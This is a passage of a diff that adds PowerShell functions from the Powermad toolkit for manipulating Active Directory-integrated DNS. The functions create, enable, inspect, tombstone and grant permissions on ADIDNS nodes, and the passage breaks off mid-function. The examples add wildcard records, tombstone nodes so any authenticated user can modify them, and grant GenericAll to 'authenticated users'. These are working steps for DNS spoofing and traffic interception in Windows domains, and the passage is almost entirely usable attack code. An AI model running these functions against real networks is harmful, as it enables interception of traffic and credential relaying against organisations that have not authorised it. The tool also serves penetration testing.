+ parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Port + SRV record port. + + .PARAMETER Preference + MX record preference. + + .PARAMETER Priority + SRV record priority. + + .PARAMETER Tombstone + Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that + allows it to be modified or fully tombstoned by any authenticated user. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .PARAMETER Static + Switch: Zeros out the timestamp to create a static record instead of a dynamic. + + .PARAMETER TTL + Default = 600: DNS record TTL. + + .PARAMETER Type + Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT. + + .PARAMETER Weight + SRV record weight. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Enable a wildcard record. + Enable-ADIDNSNode -Node * + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Byte[]]$DNSRecord, + [parameter(Mandatory=$false)][Int]$Preference, + [parameter(Mandatory=$false)][Int]$Priority, + [parameter(Mandatory=$false)][Int]$Weight, + [parameter(Mandatory=$false)][Int]$Port, + [parameter(Mandatory=$false)][Int]$TTL = 600, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][Switch]$Static, + [parameter(Mandatory=$false)][Switch]$Tombstone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if(!$DNSRecord) + { + + try + { + + if($Static) + { + $DNSRecord = New-DNSRecordArray -Data $Data -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Static + } + else + { + $DNSRecord = New-DNSRecordArray -Data $Data -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight + } + + Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.InvokeSet('dnsRecord',$DNSRecord) + $directory_entry.SetInfo() + Write-Output "[+] $Node enabled" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Get-ADIDNSNodeAttribute +{ + <# + .SYNOPSIS + This function can return values populated in an ADIDNS node attribute. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to retrn an ADIDNS node attribute such as a dnsRecord array. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Get the dnsRecord attribute value of a node named test. + Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Attribute, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $output = $directory_entry.InvokeGet($Attribute) + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Get-ADIDNSNodeOwner +{ + <# + .SYNOPSIS + This function can returns the owner of an ADIDNS Node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can returns the owner of an ADIDNS Node. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Get the owner of a node named test. + Get-ADIDNSNodeOwner -Node test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $output = $directory_entry.PsBase.ObjectSecurity.Owner + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Get-ADIDNSNodeTombstoned +{ + <# + .SYNOPSIS + This function can determine if a node has been tombstoned. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function checks the values of dnsTombstoned and dnsRecord in order to determine if a node if currently + tombstoned. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Get the dnsRecord attribute value of a node named test. + Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $dnsTombstoned = $directory_entry.InvokeGet('dnsTombstoned') + $dnsRecord = $directory_entry.InvokeGet('dnsRecord') + } + catch + { + + if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*') + { + Write-Output "[-] $($_.Exception.Message)" + $directory_entry.Close() + throw + } + + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + $node_tombstoned = $false + + if($dnsTombstoned -and $dnsRecord) + { + + if($dnsRecord[0].GetType().name -eq [Byte]) + { + + if($dnsRecord.Count -ge 32 -and $dnsRecord[2] -eq 0) + { + $node_tombstoned = $true + } + + } + + } + + return $node_tombstoned +} + +function Get-ADIDNSPermission +{ + <# + .SYNOPSIS + This function gets a DACL of an ADIDNS node or zone. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to confirm that a user or group has the required permission + to modify an ADIDNS zone or node. + + .PARAMETER Credential + PSCredential object that will be used to enumerate the DACL. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node or zone. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Get the DACL for the default ADIDNS zone. + Get-ADIDNSPermission + + .EXAMPLE + Get the DACL for an ADIDNS node named test. + Get-ADIDNSPermission -Node test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Node) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + else + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=DomainDNSZones" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry_security = $directory_entry.psbase.ObjectSecurity + $directory_entry_DACL = $directory_entry_security.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) + $output=@() + + ForEach($ACE in $directory_entry_DACL) + { + $principal = "" + $principal_distingushed_name = "" + + try + { + $principal = $ACE.IdentityReference.Translate([System.Security.Principal.NTAccount]) + } + catch + { + + if($ACE.IdentityReference.AccountDomainSid) + { + + if($Credential) + { + $directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/",$Credential.UserName,$credential.GetNetworkCredential().Password) + } + else + { + $directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/" + } + + if($directory_entry_principal.Properties.userPrincipalname) + { + $principal = $directory_entry_principal.Properties.userPrincipalname.Value + } + else + { + $principal = $directory_entry_principal.Properties.sAMAccountName.Value + $principal_distingushed_name = $directory_entry_principal.distinguishedName.Value + } + + if($directory_entry_principal.Path) + { + $directory_entry_principal.Close() + } + + } + + } + + $PS_object = New-Object PSObject + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "Principal" $principal + + if($principal_distingushed_name) + { + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "DistinguishedName" $principal_distingushed_name + } + + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IdentityReference" $ACE.IdentityReference + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ActiveDirectoryRights" $ACE.ActiveDirectoryRights + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceType" $ACE.InheritanceType + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectType" $ACE.ObjectType + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritedObjectType" $ACE.InheritedObjectType + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectFlags" $ACE.ObjectFlags + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "AccessControlType" $ACE.AccessControlType + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IsInherited" $ACE.IsInherited + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceFlags" $ACE.InheritanceFlags + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "PropagationFlags" $ACE.PropagationFlags + $output += $PS_object + } + + } + catch + { + + if($_.Exception.Message -notlike "*Some or all identity references could not be translated.*") + { + Write-Output "[-] $($_.Exception.Message)" + } + + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Grant-ADIDNSPermission +{ + <# + .SYNOPSIS + This function adds an ACE to an ADIDNS node or zone DACL. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + Users that create a new DNS node through LDAP or secure dynamic updates will have full + control access. This function can be used to provide additional accounts or groups access to the node. + Although this function will work on DNS zones, non-administrators will rarely have the ability + to modify an ADIDNS zone. + + .PARAMETER Access + Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete, + DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren, + ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty. + + .PARAMETER Credential + PSCredential object that will be used to modify the DACL. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node or zone. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Principal + The user or group that will be used for the ACE. + + .PARAMETER Type + Default = Allow: The ACE allow or deny access type. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Add full access to a wildcard record for "Authenticated Users". + Grant-ADIDNSPermission -Node * -Principal "authenticated users" + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild", + "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren", + "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll", + [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow", + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Principal, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Node) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + else + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=DomainDNSZones" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $NT_account = New-Object System.Security.Principal.NTAccount($Principal) + $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier]) + $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID + $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access + $access_control_type = [System.Security.AccessControl.AccessControlType]$Type + $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All" + $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance) + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + try + { + $directory_entry.psbase.ObjectSecurity.AddAccessRule($ACE) + $directory_entry.psbase.CommitChanges() + + if($Node) + { + Write-Output "[+] ACE added for $Principal to $Node DACL" + } + else + { + Write-Output "[+] ACE added for $Principal to $Zone DACL" + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function New-ADIDNSNode +{ + <# + .SYNOPSIS + This function adds a DNS node to an Active Directory-Integrated DNS (ADIDNS) Zone through an encrypted LDAP + add request. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function creates an ADIDNS record by connecting to LDAP and adding an object of type dnsNode. + + .PARAMETER Credential + PSCredential object that will be used to add the ADIDNS node. + + .PARAMETER Data + For most record types this will be the destination hostname or IP address. For TXT records this can be used + for data. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. + + .PARAMETER DNSRecord + DNSRecord byte array. See MS-DNSP for details on the dnsRecord structure. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Port + SRV record port. + + .PARAMETER Preference + MX record preference. + + .PARAMETER Priority + SRV record priority. + + .PARAMETER Tombstone + Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that + allows it to be modified or fully tombstoned by any authenticated user. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .PARAMETER Static + Switch: Zeros out the timestamp to create a static record instead of a dynamic. + + .PARAMETER TTL + Default = 600: DNS record TTL. + + .PARAMETER Type + Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT. + + .PARAMETER Weight + SRV record weight. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Add a wildcard record to an ADIDNS zone and tombstones the node. + New-ADIDNSNode -Node * -Tombstone + + .EXAMPLE + Add a wildcard record to an ADIDNS zone from a non-domain attached system. + $credential = Get-Credential + New-ADIDNSNode -Node * -DomainController dc1.test.local -Domain test.local -Zone test.local -Credential $credential + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Byte[]]$DNSRecord, + [parameter(Mandatory=$false)][Int]$Preference, + [parameter(Mandatory=$false)][Int]$Priority, + [parameter(Mandatory=$false)][Int]$Weight, + [parameter(Mandatory=$false)][Int]$Port, + [parameter(Mandatory=$false)][Int]$TTL = 600, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][Switch]$Static, + [parameter(Mandatory=$false)][Switch]$Tombstone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if(!$DNSRecord) + { + + try + { + + if($Static) + { + $DNSRecord = New-DNSRecordArray -Data $Data -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Static + } + else + { + $DNSRecord = New-DNSRecordArray -Data $Data -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight + } + + Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389) + + if($Credential) + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential()) + } + else + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier) + } + + $object_category = "CN=Dns-Node,CN=Schema,CN=Configuration" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + 